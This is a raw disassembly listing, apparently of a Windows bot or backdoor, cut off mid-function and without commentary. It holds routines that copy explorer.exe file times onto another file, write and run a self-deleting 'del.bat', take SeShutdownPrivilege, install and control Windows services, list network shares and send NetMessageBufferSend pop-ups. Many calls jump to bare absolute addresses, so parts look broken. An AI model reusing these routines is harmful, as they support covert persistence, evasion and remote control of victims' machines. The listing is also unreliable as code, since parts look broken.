ptr 2640897h nop push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27D0788h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27D0000h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2680000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26F0930h mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26E0000h push edi nop call near ptr 2640897h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2670547h push eax nop call near ptr 2650000h lea eax, [ebp+var_15C] push eax nop call near ptr 2670457h cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 267034Ah loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 27E0000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2640BE8h nop loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26B05F7h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 2660DCFh push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26B05F7h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call near ptr 2680BAAh nop mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 2690000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27704B3h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 2670D93h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 2660DCFh nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2660DCFh mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call near ptr 2660DCFh nop mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD call near ptr 2660DCFh nop cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: 